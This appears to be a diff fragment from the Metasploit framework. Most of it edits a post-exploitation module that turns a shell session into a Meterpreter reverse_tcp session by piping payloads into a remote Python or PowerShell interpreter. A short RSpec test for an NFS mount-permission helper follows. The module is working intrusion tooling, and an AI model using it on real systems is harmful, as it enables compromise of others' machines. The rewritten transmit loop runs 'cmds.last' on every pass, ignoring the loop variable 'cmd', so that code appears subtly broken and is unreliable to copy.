||||
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
|
||||
end
|
||||
|
||||
def command_timeout
|
||||
datastore['COMMAND_TIMEOUT']
|
||||
end
|
||||
|
||||
# Run method for when run command is issued
|
||||
def run
|
||||
print_status("Upgrading session ID: #{datastore['SESSION']}")
|
||||
@@ -118,7 +124,7 @@ class MetasploitModule < Msf::Post
|
||||
lplat = [Msf::Platform::OSX]
|
||||
larch = [ARCH_X64]
|
||||
vprint_status('Platform: OS X')
|
||||
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
|
||||
elsif remote_python_binary
|
||||
# Generic fallback for OSX, Solaris, Linux/ARM
|
||||
platform = 'python'
|
||||
payload_name = 'python/meterpreter/reverse_tcp'
|
||||
@@ -176,7 +182,7 @@ class MetasploitModule < Msf::Post
|
||||
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
|
||||
else
|
||||
psh_opts[:remove_comspec] = true
|
||||
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, 15, { 'Channelized' => false })
|
||||
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
|
||||
end
|
||||
else
|
||||
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
|
||||
@@ -186,11 +192,11 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
when 'python'
|
||||
vprint_status('Transfer method: Python')
|
||||
cmd_exec("echo \"#{payload_data}\" | python")
|
||||
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
|
||||
when 'osx'
|
||||
vprint_status('Transfer method: Python [OSX]')
|
||||
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
|
||||
cmd_exec("echo \"#{payload_data}\" | python & disown")
|
||||
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
|
||||
else
|
||||
vprint_status('Transfer method: Bourne shell [fallback]')
|
||||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
||||
@@ -204,6 +210,29 @@ class MetasploitModule < Msf::Post
|
||||
return nil
|
||||
end
|
||||
|
||||
#
|
||||
# Get the Python binary from the remote machine, if any, by running
|
||||
# a series of channelized `cmd_exec` calls.
|
||||
# @return String/nil A string if a Python binary can be found, else nil.
|
||||
#
|
||||
def remote_python_binary
|
||||
return @remote_python_binary if defined?(@remote_python_binary)
|
||||
|
||||
python_exists_regex = /Python (2|3)\.(\d)/
|
||||
|
||||
if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
|
||||
@remote_python_binary = 'python3'
|
||||
elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
|
||||
@remote_python_binary = 'python'
|
||||
elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
|
||||
@remote_python_binary = 'python2'
|
||||
else
|
||||
@remote_python_binary = nil
|
||||
end
|
||||
|
||||
@remote_python_binary
|
||||
end
|
||||
|
||||
def transmit_payload(exe, platform)
|
||||
#
|
||||
# Generate the stager command array
|
||||
@@ -249,22 +278,27 @@ class MetasploitModule < Msf::Post
|
||||
#
|
||||
sent = 0
|
||||
aborted = false
|
||||
cmds.each do |cmd|
|
||||
ret = cmd_exec(cmd)
|
||||
if !ret
|
||||
aborted = true
|
||||
else
|
||||
ret.strip!
|
||||
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
|
||||
end
|
||||
if aborted
|
||||
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
|
||||
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
|
||||
break
|
||||
cmds.each.with_index do |cmd, i|
|
||||
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
|
||||
# for an unlimited amount of time for the newly spawned session to exit.
|
||||
wait_for_cmd_result = i + 1 < cmds.length
|
||||
# Note that non-channelized cmd_exec calls currently return an empty string
|
||||
ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
|
||||
if wait_for_cmd_result
|
||||
if !ret
|
||||
aborted = true
|
||||
else
|
||||
ret.strip!
|
||||
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
|
||||
end
|
||||
if aborted
|
||||
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
|
||||
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
sent += cmd.length
|
||||
|
||||
progress(total_bytes, sent)
|
||||
end
|
||||
rescue ::Interrupt
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
|
||||
RSpec.describe Msf::Auxiliary::Nfs do
|
||||
subject do
|
||||
mod = Msf::Module.new
|
||||
mod.extend(Msf::Auxiliary::Nfs)
|
||||
mod
|
||||
end
|
||||
|
||||
context '#can_mount?' do
|
||||
it 'deals with astericks' do
|
||||
expect(subject.can_mount?(['*'], true, 'my.hostname', '1.1.1.1')).to be true
|
||||
end
|
||||
|
||||
it 'deals with empty' do
|
||||
expect(subject.can_mount?([''], true, 'my.hostname', '1.1.1.1')).to be false
|
||||
end
|
||||
|
||||
it 'deals with my IP' do
|
||||
expect(subject.can_mount?(['1.1.1.1'], true, 'my.hostname', '1.1.1.1')).to be true
|
||||
end
|
||||
|
||||
it 'deals with not my IP' do
|
||||
expect(subject.can_mount?(['2.2.2.2'], true, 'my.hostname', '1.1.1.1')).to be false
|
||||
end
|
||||
|
||||
it 'correctly handles lists' do
|
||||
expect(subject.can_mount?(['2.2.2.2/255.255.255.0', '1.1.1.1/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be true
|
||||
end
|
||||
|
||||
it 'deals with my IP with subnet' do
|
||||
expect(subject.can_mount?(['1.1.1.1/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be true
|
||||
end
|
||||
|
||||
it 'deals with not my IP with subnet' do
|
||||
expect(subject.can_mount?(['2.2.2.2/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be false
|
||||
end
|
||||
|
||||
it 'deals with my IP with cidr' do
|
||||
expect(subject.can_mount?(['1.1.1.1/24'], true, 'my.hostname', '1.1.1.1')).to be true
|
||||
end
|
||||
|
||||
it 'deals with not my IP with cidr' do
|
||||
expect(subject.can_mount?(['2.2.2.2/24'], true, 'my.hostname', '1.1.1.1')).to be false
|
||||
end
|
||||
|
||||
it 'exact hostname' do
|
||||
expect(subject.can_mount?(['my.hostname'], true, 'my.hostname', '1.1.1.1')).to be true
|
||||
end
|
||||
|
||||
it 'bad hostname' do
|
||||
expect(subject.can_mount?(['not.my.hostname'], true, 'foo.bar', '1.1.1.1')).to be false
|
||||
end
|
||||
|
||||
it 'hostname with wildcard' do
|
||||
expect(subject.can_mount?(['*.hostname'], true, 'my.hostname', '1.1.1.1')).to be true
|
||||
end
|
||||
|
||||
it 'bad hostname with wildcard' do
|
||||
expect(subject.can_mount?(['*.not.my.hostname'], true, 'foo.bar', '1.1.1.1')).to be false
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user